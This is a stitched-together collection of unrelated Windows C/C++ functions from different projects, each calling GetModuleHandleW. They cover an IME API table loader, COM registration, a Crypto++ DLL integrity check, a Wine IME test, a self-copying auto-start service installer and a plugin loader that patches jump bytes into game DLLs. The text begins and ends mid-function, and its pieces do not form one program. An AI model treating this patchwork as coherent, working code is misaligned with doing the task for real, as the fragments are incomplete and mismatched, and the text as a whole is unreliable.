&status); if (assembly) { mono_trace_set_assembly(assembly); exit_code = mono_jit_exec(domain, assembly, argc, argv); } else { ERR("couldn't load %s, status=%d\n", debugstr_w(filename), status); exit_code = -1; } RuntimeHost_DeleteDomain(host, domain); } else exit_code = -1; ICLRRuntimeInfo_Release(info); } else exit_code = -1; HeapFree(GetProcessHeap(), 0, argv); if (domain) { mono_thread_manage(); mono_jit_cleanup(domain); } return exit_code; }
/* * @unimplemented */ BOOL WINAPI IntInitializeImmEntryTable(VOID) { WCHAR ImmFile[MAX_PATH]; HMODULE imm32 = ghImm32; if (gImmApiEntries.pImmIsIME != 0) { ERR("Imm Api Table Init 1\n"); return TRUE; } GetImmFileName(ImmFile, sizeof(ImmFile)); TRACE("File %ws\n",ImmFile); if (imm32 == NULL) { imm32 = GetModuleHandleW(ImmFile); } if (imm32 == NULL) { imm32 = ghImm32 = LoadLibraryW(ImmFile); if (imm32 == NULL) { ERR("Did not load!\n"); return FALSE; } return TRUE; } if (ImmApiTableZero) { ImmApiTableZero = FALSE; ZeroMemory(&gImmApiEntries, sizeof(Imm32ApiTable)); } gImmApiEntries.pImmIsIME = (BOOL (WINAPI*)(HKL)) GetProcAddress(imm32, "ImmIsIME"); if (!gImmApiEntries.pImmIsIME) gImmApiEntries.pImmIsIME = IMM_ImmIsIME; gImmApiEntries.pImmEscapeA = (LRESULT (WINAPI*)(HKL, HIMC, UINT, LPVOID)) GetProcAddress(imm32, "ImmEscapeA"); if (!gImmApiEntries.pImmEscapeA) gImmApiEntries.pImmEscapeA = IMM_ImmEscapeAW; gImmApiEntries.pImmEscapeW = (LRESULT (WINAPI*)(HKL, HIMC, UINT, LPVOID)) GetProcAddress(imm32, "ImmEscapeW"); if (!gImmApiEntries.pImmEscapeW) gImmApiEntries.pImmEscapeW = IMM_ImmEscapeAW; gImmApiEntries.pImmGetCompositionStringA = (LONG (WINAPI*)(HIMC, DWORD, LPVOID, DWORD)) GetProcAddress(imm32, "ImmGetCompositionStringA"); if (!gImmApiEntries.pImmGetCompositionStringA) gImmApiEntries.pImmGetCompositionStringA = IMM_ImmGetCompositionStringAW; gImmApiEntries.pImmGetCompositionStringW = (LONG (WINAPI*)(HIMC, DWORD, LPVOID, DWORD)) GetProcAddress(imm32, "ImmGetCompositionStringW"); if (!gImmApiEntries.pImmGetCompositionStringW) gImmApiEntries.pImmGetCompositionStringW = IMM_ImmGetCompositionStringAW; gImmApiEntries.pImmGetCompositionFontA = (BOOL (WINAPI*)(HIMC, LPLOGFONTA)) GetProcAddress(imm32, "ImmGetCompositionFontA"); if (!gImmApiEntries.pImmGetCompositionFontA) gImmApiEntries.pImmGetCompositionFontA = IMM_ImmGetCompositionFontA; gImmApiEntries.pImmGetCompositionFontW = (BOOL (WINAPI*)(HIMC, LPLOGFONTW)) GetProcAddress(imm32, "ImmGetCompositionFontW"); if (!gImmApiEntries.pImmGetCompositionFontW) gImmApiEntries.pImmGetCompositionFontW = IMM_ImmGetCompositionFontW; gImmApiEntries.pImmSetCompositionFontA = (BOOL (WINAPI*)(HIMC, LPLOGFONTA)) GetProcAddress(imm32, "ImmSetCompositionFontA"); if (!gImmApiEntries.pImmSetCompositionFontA) gImmApiEntries.pImmSetCompositionFontA = IMM_ImmSetCompositionFontA; gImmApiEntries.pImmSetCompositionFontW = (BOOL (WINAPI*)(HIMC, LPLOGFONTW)) GetProcAddress(imm32, "ImmSetCompositionFontW"); if (!gImmApiEntries.pImmSetCompositionFontW) gImmApiEntries.pImmSetCompositionFontW = IMM_ImmSetCompositionFontW; gImmApiEntries.pImmGetCompositionWindow = (BOOL (WINAPI*)(HIMC, LPCOMPOSITIONFORM)) GetProcAddress(imm32, "ImmGetCompositionWindow"); if (!gImmApiEntries.pImmGetCompositionWindow) gImmApiEntries.pImmGetCompositionWindow = IMM_ImmSetGetCompositionWindow; gImmApiEntries.pImmSetCompositionWindow = (BOOL (WINAPI*)(HIMC, LPCOMPOSITIONFORM)) GetProcAddress(imm32, "ImmSetCompositionWindow"); if (!gImmApiEntries.pImmSetCompositionWindow) gImmApiEntries.pImmSetCompositionWindow = IMM_ImmSetGetCompositionWindow; gImmApiEntries.pImmAssociateContext = (HIMC (WINAPI*)(HWND, HIMC)) GetProcAddress(imm32, "ImmAssociateContext"); if (!gImmApiEntries.pImmAssociateContext) gImmApiEntries.pImmAssociateContext = IMM_ImmAssociateContext; gImmApiEntries.pImmReleaseContext = (BOOL (WINAPI*)(HWND, HIMC)) GetProcAddress(imm32, "ImmReleaseContext"); if (!gImmApiEntries.pImmReleaseContext) gImmApiEntries.pImmReleaseContext = IMM_ImmReleaseContext; gImmApiEntries.pImmGetContext = (HIMC (WINAPI*)(HWND)) GetProcAddress(imm32, "ImmGetContext"); if (!gImmApiEntries.pImmGetContext) gImmApiEntries.pImmGetContext = IMM_ImmGetContext; gImmApiEntries.pImmGetDefaultIMEWnd = (HWND (WINAPI*)(HWND)) GetProcAddress(imm32, "ImmGetDefaultIMEWnd"); if (!gImmApiEntries.pImmGetDefaultIMEWnd) gImmApiEntries.pImmGetDefaultIMEWnd = IMM_ImmGetDefaultIMEWnd; gImmApiEntries.pImmNotifyIME = (BOOL (WINAPI*)(HIMC, DWORD, DWORD, DWORD)) GetProcAddress(imm32, "ImmNotifyIME"); if (!gImmApiEntries.pImmNotifyIME) gImmApiEntries.pImmNotifyIME = IMM_ImmNotifyIME; /* * TODO: Load more functions from imm32.dll * Function like IMPSetIMEW, IMPQueryIMEW etc. call functions * from imm32.dll through pointers in the structure gImmApiEntries. * I do not know whether it is necessary to initialize a table * of functions to load user32 (DLL_PROCESS_ATTACH) */ gImmApiEntries.pImmRegisterClient = (BOOL (WINAPI*)(PVOID, HINSTANCE)) GetProcAddress(imm32, "ImmRegisterClient"); if (!gImmApiEntries.pImmRegisterClient) gImmApiEntries.pImmRegisterClient = IMM_ImmRegisterClient; gImmApiEntries.pImmProcessKey = (UINT (WINAPI*)(HWND, HKL, UINT, LPARAM, DWORD)) GetProcAddress(imm32, "ImmProcessKey"); if (!gImmApiEntries.pImmProcessKey) gImmApiEntries.pImmProcessKey = IMM_ImmProcessKey; return TRUE; }
//------------------------------------------------------------------------------ // DllRegisterServer //------------------------------------------------------------------------------ STDAPI DllRegisterServer() { HKEY hKey = NULL; HMODULE hModule = NULL; HRESULT hr = S_OK; LONG lResult = ERROR_SUCCESS; WCHAR szFilename[MAX_PATH] = { 0 }; WCHAR szKey[MAX_PATH] = { 0 }; WCHAR szCLSID[OLEGUID_LEN_CCH] = { 0 }; // // Grab the fully qualified path to this dll // hModule = GetModuleHandleW(L"PrinterServiceFuncDiscovery"); if (NULL == hModule) { hr = HRESULT_FROM_WIN32(GetLastError()); } else if (0 == GetModuleFileNameW(hModule, szFilename, ARRAYSIZE(szFilename))) { hr = HRESULT_FROM_WIN32(GetLastError()); } // // Register the COM object in the registry // if (S_OK == hr && 0 == StringFromGUID2(CLSID_SsysPrinterSvcProxy, szCLSID, ARRAYSIZE(szCLSID))) { hr = HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER); } if (S_OK == hr) { hr = StringCchPrintfW(szKey, ARRAYSIZE(szKey), L"CLSID\\%s", szCLSID); } if (S_OK == hr) { lResult = RegCreateKeyExW( HKEY_CLASSES_ROOT, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL ); hr = HRESULT_FROM_WIN32(lResult); } if (S_OK == hr) { lResult = RegSetValueExW( hKey, NULL, 0, REG_SZ, (BYTE*)OBJECT_NAME, (static_cast<DWORD>(wcslen(OBJECT_NAME)) + 1)*sizeof(WCHAR) ); hr = HRESULT_FROM_WIN32(lResult); } RegCloseKey(hKey); if (S_OK == hr) { hr = StringCchPrintfW( szKey, ARRAYSIZE(szKey), L"CLSID\\%s\\InProcServer32", szCLSID ); } if (S_OK == hr) { lResult = RegCreateKeyExW( HKEY_CLASSES_ROOT, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL ); hr = HRESULT_FROM_WIN32(lResult); } if (S_OK == hr) { lResult = RegSetValueExW( hKey, NULL, 0, REG_SZ, (BYTE*)szFilename, (static_cast<DWORD>(wcslen(szFilename)) + 1)*sizeof(WCHAR) ); hr = HRESULT_FROM_WIN32(lResult); } if (S_OK == hr) { lResult = RegSetValueExW( hKey, L"ThreadingModel", 0, REG_SZ, (BYTE*)THREADING_MODEL, (static_cast<DWORD>(wcslen(THREADING_MODEL)) + 1)*sizeof(WCHAR) ); hr = HRESULT_FROM_WIN32(lResult); } RegCloseKey(hKey); hKey = NULL; return hr; }// DllRegisterServer
// Unregisters the GLFW window class // void _glfwUnregisterWindowClass(void) { UnregisterClassW(_GLFW_WNDCLASSNAME, GetModuleHandleW(NULL)); }
void Create() { if ( ActivationCtxHandle != INVALID_HANDLE_VALUE ) { return ; } HMODULE hKernel = GetModuleHandleW( L"KERNEL32" ); if ( GetProcAddress( hKernel, "CreateActCtxW" ) == NULL ) { // Pre XP OS return; } bool ManifestInFile = false; System::Reflection::Assembly^ CurrentAssembly = System::Reflection::Assembly::GetCallingAssembly(); String^ AssemblyPath = CurrentAssembly->Location; try { if ( AssemblyPath == "" ) { String^ TempPath = System::IO::Path::GetTempFileName(); System::IO::StreamWriter^ sw = System::IO::File::CreateText(TempPath); sw->Write ( "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n" "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n" " <dependency>\n" " <dependentAssembly>\n" " <assemblyIdentity\n" " type='win32'\n" #ifdef _DEBUG " name='" __LIBRARIES_ASSEMBLY_NAME_PREFIX ".DebugCRT'\n" #else /* _DEBUG */ " name='" __LIBRARIES_ASSEMBLY_NAME_PREFIX ".CRT'\n" #endif /* _DEBUG */ " version='" _CRT_ASSEMBLY_VERSION "'\n" #ifdef _M_IX86 " processorArchitecture='x86'\n" #endif /* _M_IX86 */ #ifdef _M_AMD64 " processorArchitecture='amd64'\n" #endif /* _M_AMD64 */ #ifdef _M_IA64 " processorArchitecture='ia64'\n" #endif /* _M_IA64 */ " publicKeyToken='" _VC_ASSEMBLY_PUBLICKEYTOKEN "'/>\n" " </dependentAssembly>\n" " </dependency>\n" "</assembly>\n" ); sw->Close(); ManifestInFile = true; AssemblyPath = TempPath; } cli::pin_ptr<const System::Char> pAssemblyPath = PtrToStringChars(AssemblyPath); ACTCTXW actctx; // Don't call memset. memset results in a call to msvcr*.dll which can be loaded from WinSXS // only after the activation context is activated. actctx.wProcessorArchitecture = 0; actctx.wLangId = 0; actctx.lpAssemblyDirectory = NULL; actctx.lpApplicationName = NULL; actctx.hModule = NULL; actctx.cbSize = sizeof( actctx ); actctx.lpSource = pAssemblyPath; if (ManifestInFile) { actctx.lpResourceName = 0; actctx.dwFlags = 0; } else { actctx.lpResourceName = MAKEINTRESOURCEW( 2 ); actctx.dwFlags = ACTCTX_FLAG_RESOURCE_NAME_VALID; } ActivationCtxHandle = CreateActCtxW( &actctx ); if ( ActivationCtxHandle == INVALID_HANDLE_VALUE ) { if (!ManifestInFile) { actctx.lpResourceName = MAKEINTRESOURCEW( 1 ); ActivationCtxHandle = CreateActCtxW( &actctx ); } if ( ActivationCtxHandle == INVALID_HANDLE_VALUE ) { } } } finally { if (ManifestInFile) { System::IO::File::Delete(AssemblyPath); } } }
BOOL FASTCALL LoadPlugins(PVOID Param1, PVOID Param2, PVOID Param3) { BOOL Result; HMODULE hModule; // ensure edi is not modified Result = OldLoadPlugins(Param1, Param2, Param3); if (!Result) return Result; hModule = GetModuleHandleW(L"DLL\\Sys43VM.dll"); if (hModule != NULL) FreeLibrary(hModule); hModule = LoadLibraryExW(L"DLL\\Sys43VM.dll", NULL, 0); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x064EF }, { 0xEB, 1, 0x1C74E }, { 0xEB, 1, 0x1F35B }, { 0xEB, 1, 0x223B7 }, { 0xEB, 1, 0x229C4 }, { 0xEB, 1, 0x31DA8 }, { 0xEB, 1, 0x35C72 }, { 0xEB, 1, 0x35E09 }, { 0xEB, 1, 0x36491 }, { 0xEB, 1, 0x365D9 }, { 0xEB, 1, 0x36A81 }, { 0xEB, 1, 0x36BB9 }, { 0xEB, 1, 0x36F5F }, }; PatchMemory(p, countof(p), 0, 0, hModule); } hModule = GetModuleHandleW(L"ChipmunkSpriteEngine.dll"); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x02899 }, { 0xEB, 1, 0xA3ED7 }, { 0xEB, 1, 0xA81E6 }, }; INTEL_STATIC MEMORY_FUNCTION_PATCH f[] = { { JUMP, 0xEE00, GetCharOutline, 2, OldGetCharOutline }, { JUMP, 0xF050, GetCharBitsPerRow, 0, OldGetCharBitsOfRow }, { JUMP, 0xEFE4, GetCharDescent, 1, OldGetCharDescent }, }; PatchMemory(p, countof(p), f, countof(f), hModule); g_pfChipSpriteEngAllocMemory = (PVOID)(pfChipSpriteEngAllocMemory_RVA + (ULONG_PTR)hModule); } hModule = GetModuleHandleW(L"CrayfishLogViewer.dll"); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x02833 }, { 0xEB, 1, 0x04F3A }, }; PatchMemory(p, countof(p), 0, 0, hModule); } hModule = GetModuleHandleW(L"FileOperation.dll"); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x0DFC4 }, { 0xEB, 1, 0x0E199 }, }; PatchMemory(p, countof(p), 0, 0, hModule); } hModule = GetModuleHandleW(L"GoatGUIEngine.dll"); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x1BBE8 }, { 0xEB, 1, 0x1D5D0 }, { 0xEB, 1, 0x1E98C }, { 0xEB, 1, 0x1E9DF }, { 0xEB, 1, 0x1EA18 }, { 0xEB, 1, 0x1EB0C }, { 0xEB, 1, 0x1EB71 }, { 0xEB, 1, 0x20DCE }, }; PatchMemory(p, countof(p), 0, 0, hModule); } hModule = GetModuleHandleW(L"SystemService.dll"); if (hModule != NULL) { INTEL_STATIC MEMORY_PATCH p[] = { { 0xEB, 1, 0x01F54 }, { 0xEB, 1, 0x02037 }, }; PatchMemory(p, countof(p), 0, 0, hModule); } return TRUE; }
bool IntegrityCheckModule(const char *moduleFilename, const byte *expectedModuleMac, SecByteBlock *pActualMac, unsigned long *pMacFileLocation) { std::auto_ptr<MessageAuthenticationCode> mac(NewIntegrityCheckingMAC()); unsigned int macSize = mac->DigestSize(); SecByteBlock tempMac; SecByteBlock &actualMac = pActualMac ? *pActualMac : tempMac; actualMac.resize(macSize); unsigned long tempLocation; unsigned long &macFileLocation = pMacFileLocation ? *pMacFileLocation : tempLocation; macFileLocation = 0; MeterFilter verifier(new HashFilter(*mac, new ArraySink(actualMac, actualMac.size()))); // MeterFilter verifier(new FileSink("c:\\dt.tmp")); std::ifstream moduleStream; #ifdef CRYPTOPP_WIN32_AVAILABLE HMODULE h; { char moduleFilenameBuf[MAX_PATH] = ""; if (moduleFilename == NULL) { #if (_MSC_VER >= 1400 && !defined(_STLPORT_VERSION)) // ifstream doesn't support wide filename on other compilers wchar_t wideModuleFilename[MAX_PATH]; if (GetModuleFileNameW(s_hModule, wideModuleFilename, MAX_PATH) > 0) { moduleStream.open(wideModuleFilename, std::ios::in | std::ios::binary); h = GetModuleHandleW(wideModuleFilename); } else #endif { GetModuleFileNameA(s_hModule, moduleFilenameBuf, MAX_PATH); moduleFilename = moduleFilenameBuf; } } #endif if (moduleFilename != NULL) { moduleStream.open(moduleFilename, std::ios::in | std::ios::binary); #ifdef CRYPTOPP_WIN32_AVAILABLE h = GetModuleHandleA(moduleFilename); moduleFilename = NULL; } #endif } if (!moduleStream) { #ifdef CRYPTOPP_WIN32_AVAILABLE OutputDebugString("Crypto++ DLL integrity check failed. Cannot open file for reading."); #endif return false; } FileStore file(moduleStream); #ifdef CRYPTOPP_WIN32_AVAILABLE // try to hash from memory first const byte *memBase = (const byte *)h; const IMAGE_DOS_HEADER *ph = (IMAGE_DOS_HEADER *)memBase; const IMAGE_NT_HEADERS *phnt = (IMAGE_NT_HEADERS *)(memBase + ph->e_lfanew); const IMAGE_SECTION_HEADER *phs = IMAGE_FIRST_SECTION(phnt); DWORD nSections = phnt->FileHeader.NumberOfSections; size_t currentFilePos = 0; size_t checksumPos = (byte *)&phnt->OptionalHeader.CheckSum - memBase; size_t checksumSize = sizeof(phnt->OptionalHeader.CheckSum); size_t certificateTableDirectoryPos = (byte *)&phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY] - memBase; size_t certificateTableDirectorySize = sizeof(phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]); size_t certificateTablePos = phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; size_t certificateTableSize = phnt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; verifier.AddRangeToSkip(0, checksumPos, checksumSize); verifier.AddRangeToSkip(0, certificateTableDirectoryPos, certificateTableDirectorySize); verifier.AddRangeToSkip(0, certificateTablePos, certificateTableSize); while (nSections--) { switch (phs->Characteristics) { default: break; case IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ: case IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ: unsigned int sectionSize = STDMIN(phs->SizeOfRawData, phs->Misc.VirtualSize); const byte *sectionMemStart = memBase + phs->VirtualAddress; unsigned int sectionFileStart = phs->PointerToRawData; size_t subSectionStart = 0, nextSubSectionStart; do { const byte *subSectionMemStart = sectionMemStart + subSectionStart; size_t subSectionFileStart = sectionFileStart + subSectionStart; size_t subSectionSize = sectionSize - subSectionStart; nextSubSectionStart = 0; unsigned int entriesToReadFromDisk[] = {IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_DIRECTORY_ENTRY_IAT}; for (unsigned int i=0; i<sizeof(entriesToReadFromDisk)/sizeof(entriesToReadFromDisk[0]); i++) { const IMAGE_DATA_DIRECTORY &entry = phnt->OptionalHeader.DataDirectory[entriesToReadFromDisk[i]]; const byte *entryMemStart = memBase + entry.VirtualAddress; if (subSectionMemStart <= entryMemStart && entryMemStart < subSectionMemStart + subSectionSize) { subSectionSize = entryMemStart - subSectionMemStart; nextSubSectionStart = entryMemStart - sectionMemStart + entry.Size; } } #if defined(_MSC_VER) && _MSC_VER >= 1400 // first byte of _CRT_DEBUGGER_HOOK gets modified in memory by the debugger invisibly, so read it from file if (IsDebuggerPresent()) { if (subSectionMemStart <= (byte *)&_CRT_DEBUGGER_HOOK && (byte *)&_CRT_DEBUGGER_HOOK < subSectionMemStart + subSectionSize) { subSectionSize = (byte *)&_CRT_DEBUGGER_HOOK - subSectionMemStart; nextSubSectionStart = (byte *)&_CRT_DEBUGGER_HOOK - sectionMemStart + 1; } } #endif if (subSectionMemStart <= expectedModuleMac && expectedModuleMac < subSectionMemStart + subSectionSize) { // found stored MAC macFileLocation = (unsigned long)(subSectionFileStart + (expectedModuleMac - subSectionMemStart)); verifier.AddRangeToSkip(0, macFileLocation, macSize); } file.TransferTo(verifier, subSectionFileStart - currentFilePos); verifier.Put(subSectionMemStart, subSectionSize); file.Skip(subSectionSize); currentFilePos = subSectionFileStart + subSectionSize; subSectionStart = nextSubSectionStart; } while (nextSubSectionStart != 0); } phs++; } #endif file.TransferAllTo(verifier); #ifdef CRYPTOPP_WIN32_AVAILABLE // if that fails (could be caused by debug breakpoints or DLL base relocation modifying image in memory), // hash from disk instead if (memcmp(expectedModuleMac, actualMac, macSize) != 0) { OutputDebugString("In memory integrity check failed. This may be caused by debug breakpoints or DLL relocation.\n"); moduleStream.clear(); moduleStream.seekg(0); verifier.Initialize(MakeParameters(Name::OutputBuffer(), ByteArrayParameter(actualMac, (unsigned int)actualMac.size()))); // verifier.Initialize(MakeParameters(Name::OutputFileName(), (const char *)"c:\\dt2.tmp")); verifier.AddRangeToSkip(0, checksumPos, checksumSize); verifier.AddRangeToSkip(0, certificateTableDirectoryPos, certificateTableDirectorySize); verifier.AddRangeToSkip(0, certificateTablePos, certificateTableSize); verifier.AddRangeToSkip(0, macFileLocation, macSize); FileStore(moduleStream).TransferAllTo(verifier); } #endif if (memcmp(expectedModuleMac, actualMac, macSize) == 0) return true; #ifdef CRYPTOPP_WIN32_AVAILABLE std::string hexMac; HexEncoder(new StringSink(hexMac)).PutMessageEnd(actualMac, actualMac.size()); OutputDebugString((("Crypto++ DLL integrity check failed. Actual MAC is: " + hexMac) + "\n").c_str()); #endif return false; }
/*--------------------------------------------------------------------------*/ char *getScilabDirectory(BOOL UnixStyle) { char *SciPathName = NULL; wchar_t* wcSciPathName = NULL; wchar_t ScilabModuleName[MAX_PATH + 1]; wchar_t drive[_MAX_DRIVE]; wchar_t dir[_MAX_DIR]; wchar_t fname[_MAX_FNAME]; wchar_t ext[_MAX_EXT]; wchar_t *DirTmp = NULL; if (!GetModuleFileNameW ((HINSTANCE)GetModuleHandleW(L"core"), (wchar_t*) ScilabModuleName, MAX_PATH)) { return NULL; } os_wsplitpath(ScilabModuleName, drive, dir, fname, ext); if (dir[wcslen(dir) - 1] == L'\\') { dir[wcslen(dir) - 1] = L'\0'; } DirTmp = wcsrchr (dir, L'\\'); if (wcslen(dir) - wcslen(DirTmp) > 0) { dir[wcslen(dir) - wcslen(DirTmp)] = L'\0'; } else { return NULL; } wcSciPathName = (wchar_t*)MALLOC((int)( wcslen(drive) + wcslen(dir) + 5) * sizeof(wchar_t)); if (wcSciPathName) { _wmakepath(wcSciPathName, drive, dir, NULL, NULL); if ( UnixStyle ) { int i = 0; for (i = 0; i < (int)wcslen(wcSciPathName); i++) { if (wcSciPathName[i] == L'\\') { wcSciPathName[i] = L'/'; } } } wcSciPathName[wcslen(wcSciPathName) - 1] = '\0'; SciPathName = wide_string_to_UTF8(wcSciPathName); FREE(wcSciPathName); wcSciPathName = NULL; } if (SciPathName) { setSCI(SciPathName); } return SciPathName; }
static void test_ime_processkey(void) { WCHAR classNameW[] = {'P','r','o','c','e','s','s', 'K','e','y','T','e','s','t','C','l','a','s','s',0}; WCHAR windowNameW[] = {'P','r','o','c','e','s','s', 'K','e','y',0}; MSG msg; WNDCLASSW wclass; HANDLE hInstance = GetModuleHandleW(NULL); TEST_INPUT inputs[2]; HIMC imc; INT rc; HWND hWndTest; wclass.lpszClassName = classNameW; wclass.style = CS_HREDRAW | CS_VREDRAW; wclass.lpfnWndProc = processkey_wnd_proc; wclass.hInstance = hInstance; wclass.hIcon = LoadIcon(0, IDI_APPLICATION); wclass.hCursor = LoadCursor( NULL, IDC_ARROW); wclass.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wclass.lpszMenuName = 0; wclass.cbClsExtra = 0; wclass.cbWndExtra = 0; if(!RegisterClassW(&wclass)){ win_skip("Failed to register window.\n"); return; } /* create the test window that will receive the keystrokes */ hWndTest = CreateWindowW(wclass.lpszClassName, windowNameW, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, 100, 100, NULL, NULL, hInstance, NULL); ShowWindow(hWndTest, SW_SHOW); SetWindowPos(hWndTest, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE); SetForegroundWindow(hWndTest); UpdateWindow(hWndTest); imc = ImmGetContext(hWndTest); if (!imc) { win_skip("IME not supported\n"); DestroyWindow(hWndTest); return; } rc = ImmSetOpenStatus(imc, TRUE); if (rc != TRUE) { win_skip("Unable to open IME\n"); ImmReleaseContext(hWndTest, imc); DestroyWindow(hWndTest); return; } /* flush pending messages */ while (PeekMessageW(&msg, 0, 0, 0, PM_REMOVE)) DispatchMessageW(&msg); SetFocus(hWndTest); /* init input data that never changes */ inputs[1].type = inputs[0].type = INPUT_KEYBOARD; inputs[1].u.ki.dwExtraInfo = inputs[0].u.ki.dwExtraInfo = 0; inputs[1].u.ki.time = inputs[0].u.ki.time = 0; /* Pressing a key */ inputs[0].u.ki.wVk = 0x41; inputs[0].u.ki.wScan = 0x1e; inputs[0].u.ki.dwFlags = 0x0; pSendInput(1, (INPUT*)inputs, sizeof(INPUT)); while(PeekMessageW(&msg, hWndTest, 0, 0, PM_NOREMOVE)) { if(msg.message != WM_KEYDOWN) PeekMessageW(&msg, hWndTest, 0, 0, PM_REMOVE); else { ok(msg.wParam != VK_PROCESSKEY,"Incorrect ProcessKey Found\n"); PeekMessageW(&msg, hWndTest, 0, 0, PM_REMOVE); if(msg.wParam == VK_PROCESSKEY) trace("ProcessKey was correctly found\n"); } TranslateMessage(&msg); DispatchMessageW(&msg); } inputs[0].u.ki.wVk = 0x41; inputs[0].u.ki.wScan = 0x1e; inputs[0].u.ki.dwFlags = KEYEVENTF_KEYUP; pSendInput(1, (INPUT*)inputs, sizeof(INPUT)); while(PeekMessageW(&msg, hWndTest, 0, 0, PM_NOREMOVE)) { if(msg.message != WM_KEYUP) PeekMessageW(&msg, hWndTest, 0, 0, PM_REMOVE); else { ok(msg.wParam != VK_PROCESSKEY,"Incorrect ProcessKey Found\n"); PeekMessageW(&msg, hWndTest, 0, 0, PM_REMOVE); ok(msg.wParam != VK_PROCESSKEY,"ProcessKey should still not be Found\n"); } TranslateMessage(&msg); DispatchMessageW(&msg); } ImmReleaseContext(hWndTest, imc); ImmSetOpenStatus(imc, FALSE); DestroyWindow(hWndTest); }
static RU32 installService ( ) { HMODULE hModule = NULL; RWCHAR curPath[ RPAL_MAX_PATH ] = { 0 }; RWCHAR destPath[] = _WCH( "%SYSTEMROOT%\\system32\\rphcp.exe" ); RWCHAR svcPath[] = _WCH( "\"%SYSTEMROOT%\\system32\\rphcp.exe\" -w" ); SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; RWCHAR svcName[] = { _SERVICE_NAMEW }; RWCHAR svcDisplay[] = { _WCH( "rp_HCP_Svc" ) }; rpal_debug_info( "installing service" ); hModule = GetModuleHandleW( NULL ); if( NULL != hModule ) { if( ARRAY_N_ELEM( curPath ) > GetModuleFileNameW( hModule, curPath, ARRAY_N_ELEM( curPath ) ) ) { if( rpal_file_copy( curPath, destPath ) ) { if( NULL != ( hScm = OpenSCManagerA( NULL, NULL, SC_MANAGER_CREATE_SERVICE ) ) ) { if( NULL != ( hSvc = CreateServiceW( hScm, svcName, svcDisplay, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, svcPath, NULL, NULL, NULL, NULL, _WCH( "" ) ) ) ) { if( StartService( hSvc, 0, NULL ) ) { // Emitting as error level to make sure it's displayed in release. rpal_debug_error( "service installer!" ); return 0; } else { rpal_debug_error( "could not start service: %d", GetLastError() ); } CloseServiceHandle( hSvc ); } else { rpal_debug_error( "could not create service in SCM: %d", GetLastError() ); } CloseServiceHandle( hScm ); } else { rpal_debug_error( "could not open SCM: %d", GetLastError() ); } } else { rpal_debug_error( "could not move executable to service location: %d", GetLastError() ); } } else { rpal_debug_error( "could not get current executable path: %d", GetLastError() ); } CloseHandle( hModule ); } else { rpal_debug_error( "could not get current executable handle: %d", GetLastError() ); } return GetLastError(); }
static TW_UINT16 GPHOTO2_OpenDS( pTW_IDENTITY pOrigin, pTW_IDENTITY self) { int ret, m, p, count, i; CameraAbilities a; GPPortInfo info; const char *model, *port; if (GPHOTO2_dsmentry == NULL) { static const WCHAR twain32W[] = {'t','w','a','i','n','_','3','2',0}; HMODULE moddsm = GetModuleHandleW(twain32W); if (moddsm) GPHOTO2_dsmentry = (void*)GetProcAddress(moddsm, "DSM_Entry"); if (!GPHOTO2_dsmentry) { ERR("can't find DSM entry point\n"); return TWRC_FAILURE; } } if (TWRC_SUCCESS != gphoto2_auto_detect()) return TWRC_FAILURE; if (lstrcmpA(self->ProductFamily,"GPhoto2 Camera")) { FIXME("identity passed is not a gphoto camera, but %s!?!\n", self->ProductFamily); return TWRC_FAILURE; } count = gp_list_count (detected_cameras); if (!count) { ERR("No camera found by autodetection. Returning failure.\n"); return TWRC_FAILURE; } if (!lstrcmpA (self->ProductName, "GPhoto2 Camera")) { TRACE("Potential undetected camera. Just using the first autodetected one.\n"); i = 0; } else { for (i=0;i<count;i++) { const char *cname, *pname; TW_STR32 name; gp_list_get_name (detected_cameras, i, &cname); gp_list_get_value (detected_cameras, i, &pname); if (!lstrcmpA(self->ProductName,cname)) break; snprintf(name, sizeof(name), "%s", cname); if (!lstrcmpA(self->ProductName,name)) break; snprintf(name, sizeof(name), "%s@%s", cname, pname); if (!lstrcmpA(self->ProductName,name)) break; } if (i == count) { TRACE("Camera %s not found in autodetected list. Using first entry.\n", self->ProductName); i=0; } } gp_list_get_name (detected_cameras, i, &model); gp_list_get_value (detected_cameras, i, &port); TRACE("model %s, port %s\n", model, port); ret = gp_camera_new (&activeDS.camera); if (ret < GP_OK) { ERR("gp_camera_new: %d\n", ret); return TWRC_FAILURE; } m = gp_abilities_list_lookup_model (abilities_list, model); if (m < GP_OK) { FIXME("Model %s not found, %d!\n", model, m); return TWRC_FAILURE; } ret = gp_abilities_list_get_abilities (abilities_list, m, &a); if (ret < GP_OK) { FIXME("gp_camera_list_get_abilities failed? %d\n", ret); return TWRC_FAILURE; } ret = gp_camera_set_abilities (activeDS.camera, a); if (ret < GP_OK) { FIXME("gp_camera_set_abilities failed? %d\n", ret); return TWRC_FAILURE; } p = gp_port_info_list_lookup_path (port_list, port); if (p < GP_OK) { FIXME("port %s not in portlist?\n", port); return 